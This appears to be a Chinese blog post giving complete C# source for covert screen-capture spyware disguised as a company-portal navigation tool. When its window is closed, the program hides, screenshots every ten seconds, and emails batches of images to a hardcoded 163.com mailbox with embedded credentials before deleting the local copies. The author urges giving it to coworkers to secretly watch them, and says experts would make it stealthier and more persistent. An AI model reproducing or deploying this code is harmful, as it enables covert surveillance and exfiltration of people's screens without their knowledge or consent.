C#中实现Windows系统流氓监控程序

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Net.Mail;
using System.Net.Mime;
using System.Net;
using System.IO;
using System.Diagnostics;

namespace WinidowsMonitor
{
    public partial class Form1 : Form
    {
        //Change variable.
        private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        string localPath = GetPath(ApplicationData);

        public static string GetPath(string appDataPath)
        {
            int index = ApplicationData.LastIndexOf("\");
            string strApp = ApplicationData.Substring(0, index);
            string tempPath = strApp + "\Local\Temp";
            return tempPath;
        }

        public Form1()
        {
            InitializeComponent();        
            Directory.CreateDirectory(localPath + "\Windows");
        }

        private void JudgeProcess(FormClosingEventArgs e)
        {
            Process[] pros = Process.GetProcesses(); 
            Process pro = Process.GetCurrentProcess();
            var samePro = from newpro in pros where pro.ProcessName == newpro.ProcessName select newpro;
            if (samePro.Count() > 1)
            {
                //MessageBox.Show(samePro.Count().ToString());
                Application.Exit();
            }
            else 
            {
                //MessageBox.Show("only one");
                e.Cancel = true;
                this.Hide();
                CatchCapture();
            }
        }

        public void CatchCapture()
        {
            Thread.CurrentThread.Name = "WindowsRun";
            int i = 0;
            while (true)
            {
                i++;
                Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
                Graphics g = Graphics.FromImage(myImg);
                g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
                string picName = "WindowsCapture" + i.ToString() + ".jpg";
                string picPath = localPath.ToString() + "\Windows\" + picName.ToString();
                g.Dispose();
                try
                {
                    myImg.Save(@picPath.ToString(), System.Drawing.Imaging.ImageFormat.Jpeg);
                }
                catch(Exception e)
                {
                    MessageBox.Show(e.ToString());
                }
                myImg.Dispose();
                Thread.Sleep(10000);
                if (i % 30 == 0) 
                {
                    SendMail();
                    DeletePics(localPath.ToString() + "\Windows\");
                }
            }
        }

        private void DeletePics(string path)
        {
            DirectoryInfo picDi = new DirectoryInfo(path);
            var files = from file in picDi.GetFiles() select file;
            foreach (var pic in files) 
            {
                pic.Delete();
            }
        }


        public void SendMail()
        {
            using (SmtpClient client = new SmtpClient("smtp.163.com"))
            using (var mail = new MailMessage("runcheck1@163.com", "runcheck1@163.com"))
            {         
                client.Host = "smtp.163.com";
                client.Port = 25;
                client.EnableSsl = true;
                client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
                DirectoryInfo di = new DirectoryInfo(@localPath+"\Windows");
                //Add attachment.
                foreach (FileInfo file in di.GetFiles())
                {
                    string attachPath = localPath + "\Windows\" + file.Name;
                    var attach = new Attachment(attachPath, MediaTypeNames.Image.Jpeg);
                    attach.ContentId = file.Name;
                    mail.Attachments.Add(attach);
                }
                mail.Subject = "Windows Capture from love monitor.";
                mail.SubjectEncoding = Encoding.UTF8;
                mail.Body = "<img src="cid:pic"/><p>来自Monitor</p>";
                mail.BodyEncoding = Encoding.UTF8;
                mail.IsBodyHtml = true;
                mail.Priority = MailPriority.High;
                //client.Credentials = CredentialCache.DefaultNetworkCredentials;
                client.Credentials = new NetworkCredential("runcheck1", "pwd");
                client.Send(mail);
            }      
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            //MessageBox.Show(Process.GetCurrentProcess().ProcessName);
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            JudgeProcess(e);
        }

        private void vMManagementToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("https://cnportal.avepoint.net/Pages/default.aspx");
        }

        private void cNPortalToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("https://privatecloud.ccoffice.avepoint.com/#/Shell/VmsManagement");
        }

        private void iITSCoursesToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Lists/Course%20Library/All%20Courses.aspx");
        }

        private void avePointChinaWorkersToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/Lists/ChinaTeamAll_Members/ChinaTeam%20Member%20View.aspx"); 
        }

        private void avePointBookLendingToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/CCHR/Lists/List2/AllItems.aspx");  
        }

        private void trainingSchoolScheduleToolStripMenuItem_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Training_School/Lists/Training_Schedule/view.aspx");
        }
    }
}

以上程序是我写的一个屏幕截图偷发邮件的工具，十秒钟一截图，三十张一发送，发送完了把已有的删除，继续监控。

外壳可以设计随便什么样，比如导航之类的：

然后你给你的同事用，后台就可以监控他在干嘛了……

在这里我就不演示我的成果了，哈哈。

其实大神之所以称之为大神，就是可以把这些东西做的更隐蔽更持久化。

区别就在于我这只是个恶作剧，而那是真正的木马病毒。